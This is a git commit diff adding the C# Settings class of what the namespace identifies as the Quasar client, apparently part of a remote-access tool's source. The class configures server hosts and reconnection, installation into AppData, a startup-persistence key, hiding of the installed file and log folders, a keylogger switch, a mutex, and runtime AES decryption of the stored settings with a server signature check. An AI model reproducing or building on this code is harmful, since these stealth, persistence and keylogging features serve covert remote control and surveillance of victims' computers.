initial commit

2026-08-27 11:22:16 -06:00
commit 96afff7a83
600 changed files with 29291 additions and 0 deletions
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+using Quasar.Common.Cryptography;
+using System;
+using System.IO;
+using System.Security.Cryptography;
+using System.Security.Cryptography.X509Certificates;
+using System.Text;
+using System.Windows.Forms;
+
+namespace Quasar.Client.Config
+{
+    /// <summary>
+    /// Stores the configuration of the client.
+    /// </summary>
+    public static class Settings
+    {
+#if DEBUG
+        public static string VERSION = Application.ProductVersion;
+        public static string HOSTS = "localhost:4782;";
+        public static int RECONNECTDELAY = 500;
+        public static Environment.SpecialFolder SPECIALFOLDER = Environment.SpecialFolder.ApplicationData;
+        public static string DIRECTORY = Environment.GetFolderPath(SPECIALFOLDER);
+        public static string SUBDIRECTORY = "Test";
+        public static string INSTALLNAME = "test.exe";
+        public static bool INSTALL = false;
+        public static bool STARTUP = false;
+        public static string MUTEX = "123AKs82kA,ylAo2kAlUS2kYkala!";
+        public static string STARTUPKEY = "Test key";
+        public static bool HIDEFILE = false;
+        public static bool ENABLELOGGER = false;
+        public static string ENCRYPTIONKEY = "CFCD0759E20F29C399C9D4210BE614E4E020BEE8";
+        public static string TAG = "DEBUG";
+        public static string LOGDIRECTORYNAME = "Logs";
+        public static string SERVERSIGNATURE = "";
+        public static string SERVERCERTIFICATESTR = "";
+        public static X509Certificate2 SERVERCERTIFICATE;
+        public static bool HIDELOGDIRECTORY = false;
+        public static bool HIDEINSTALLSUBDIRECTORY = false;
+        public static string INSTALLPATH = "";
+        public static string LOGSPATH = "";
+        public static bool UNATTENDEDMODE = true;
+
+        public static bool Initialize()
+        {
+            SetupPaths();
+            return true;
+        }
+#else
+        public static string VERSION = "";
+        public static string HOSTS = "";
+        public static int RECONNECTDELAY = 5000;
+        public static Environment.SpecialFolder SPECIALFOLDER = Environment.SpecialFolder.ApplicationData;
+        public static string DIRECTORY = Environment.GetFolderPath(SPECIALFOLDER);
+        public static string SUBDIRECTORY = "";
+        public static string INSTALLNAME = "";
+        public static bool INSTALL = false;
+        public static bool STARTUP = false;
+        public static string MUTEX = "";
+        public static string STARTUPKEY = "";
+        public static bool HIDEFILE = false;
+        public static bool ENABLELOGGER = false;
+        public static string ENCRYPTIONKEY = "";
+        public static string TAG = "";
+        public static string LOGDIRECTORYNAME = "";
+        public static string SERVERSIGNATURE = "";
+        public static string SERVERCERTIFICATESTR = "";
+        public static X509Certificate2 SERVERCERTIFICATE;
+        public static bool HIDELOGDIRECTORY = false;
+        public static bool HIDEINSTALLSUBDIRECTORY = false;
+        public static string INSTALLPATH = "";
+        public static string LOGSPATH = "";
+        public static bool UNATTENDEDMODE = false;
+
+        public static bool Initialize()
+        {
+            if (string.IsNullOrEmpty(VERSION)) return false;
+            var aes = new Aes256(ENCRYPTIONKEY);
+            TAG = aes.Decrypt(TAG);
+            VERSION = aes.Decrypt(VERSION);
+            HOSTS = aes.Decrypt(HOSTS);
+            SUBDIRECTORY = aes.Decrypt(SUBDIRECTORY);
+            INSTALLNAME = aes.Decrypt(INSTALLNAME);
+            MUTEX = aes.Decrypt(MUTEX);
+            STARTUPKEY = aes.Decrypt(STARTUPKEY);
+            LOGDIRECTORYNAME = aes.Decrypt(LOGDIRECTORYNAME);
+            SERVERSIGNATURE = aes.Decrypt(SERVERSIGNATURE);
+            SERVERCERTIFICATE = new X509Certificate2(Convert.FromBase64String(aes.Decrypt(SERVERCERTIFICATESTR)));
+            SetupPaths();
+            return VerifyHash();
+        }
+#endif
+
+        static void SetupPaths()
+        {
+            LOGSPATH = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), LOGDIRECTORYNAME);
+            INSTALLPATH = Path.Combine(DIRECTORY, (!string.IsNullOrEmpty(SUBDIRECTORY) ? SUBDIRECTORY + @"\" : "") + INSTALLNAME);
+        }
+
+        static bool VerifyHash()
+        {
+            try
+            {
+                var csp = (RSACryptoServiceProvider) SERVERCERTIFICATE.PublicKey.Key;
+                return csp.VerifyHash(Sha256.ComputeHash(Encoding.UTF8.GetBytes(ENCRYPTIONKEY)), CryptoConfig.MapNameToOID("SHA256"),
+                    Convert.FromBase64String(SERVERSIGNATURE));
+                
+            }
+            catch (Exception)
+            {
+                return false;
+            }
+        }
+    }
+}